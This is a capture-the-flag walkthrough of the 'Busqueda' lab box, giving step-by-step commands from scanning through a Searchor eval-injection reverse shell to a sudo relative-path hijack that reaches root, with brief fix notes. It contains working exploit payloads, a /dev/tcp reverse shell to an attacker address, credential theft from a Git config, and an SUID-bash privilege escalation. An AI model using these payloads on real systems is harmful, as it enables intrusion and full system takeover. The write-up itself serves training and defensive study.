Busqueda
Summary
I identified a Python/Flask web application advertising a publicly known vulnerable version of Searchor (2.4.0), exploited a server-side Python eval-injection flaw to gain an interactive shell as the web service account, recovered plaintext credentials embedded in a Git configuration file left inside the web root, used those credentials to access an internal Gitea instance and authenticate over SSH, then abused a passwordless sudo rule that called a management script via a relative path — hijacking that path to execute my own code as root and take full control of the system.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 5
Full TCP scan to enumerate all open ports.
$ nmap -p- --min-rate 5000 -T4 $TARGETService and version detection on discovered ports.
$ nmap -sV -p 22,80 $TARGETRegister the vhost so the Flask app responds correctly.
$ echo "$TARGET searcher.htb" | sudo tee -a /etc/hostsConfirm the Searchor version string rendered in the page.
$ curl -sS -H 'Host: searcher.htb' http://$TARGET/ | grep -i 'searchor\|version'Read HTTP response headers to confirm Flask is the executing backend.
$ curl -sI -H 'Host: searcher.htb' http://$TARGET/ | grep -i 'server:\|x-powered-by:'Exact commands 1
Leak-only PoC: the injected expression reads an env var and its value appears in the server response. No shell spawned at this step.
$ curl -sS -H 'Host: searcher.htb' "http://$TARGET/search" --data-urlencode "query=test',__import__('os').getenv('USER'))#" --data-urlencode 'engine=Google'FixUpgrade Searchor and eliminate unsafe eval() from application codeCritical
Exact commands 3
Open listener on my machine (run this first in a separate terminal). Replace 4444 with your chosen port.
$ nc -lvnp 4444Replace $ATTACKER_IP with your tun0 address. The injected expression calls os.system(), spawning the reverse shell.
$ curl -sS -H 'Host: searcher.htb' "http://$TARGET/search" --data-urlencode "query=test',__import__('os').system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"'))#" --data-urlencode 'engine=Google'Upgrade the raw shell to a full interactive TTY once connected.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'Exact commands 2
Read the Git remote configuration; the URL embeds plaintext credentials for the internal Gitea instance.
$ cat /var/www/app/.git/configCapture the user flag: <user.txt>
$ cat /home/svc/user.txtFixRemove plaintext credentials from Git configuration and restrict web-root Git directoriesHigh
Exact commands 3
Register the Gitea vhost on my machine.
$ echo "$TARGET gitea.searcher.htb" | sudo tee -a /etc/hostsEnumerate Gitea users via the API to discover admin account names.
$ curl -sS 'http://gitea.searcher.htb:3000/api/v1/users/search?limit=50&q=' -H 'Authorization: Basic <base64_cody:password>'Log in with the Gitea password; credential reuse gives a stable SSH session as svc.
$ ssh svc@$TARGETExact commands 2
List allowed sudo entries. Expected output: (root) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *
$ sudo -lRead the management script to identify supported sub-commands and locate the relative-path helper invocation inside the 'full-checkup' branch.
$ cat /opt/scripts/system-checkup.pyFixRemove the wildcard sudo rule and fix absolute paths in the management scriptHigh
Exact commands 5
Create and enter a writable directory controlled by me.
$ mkdir /tmp/pwn && cd /tmp/pwnMalicious helper: sets the SUID bit on bash so any user can open a root-effective shell.
$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > full-checkup.sh && chmod +x full-checkup.shRun from /tmp/pwn so the relative lookup resolves to our script instead of the legitimate one.
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup-p preserves the effective UID (root) set by the SUID bit, opening a root shell.
$ /bin/bash -pCapture the root flag: <root.txt>
$ cat /root/root.txt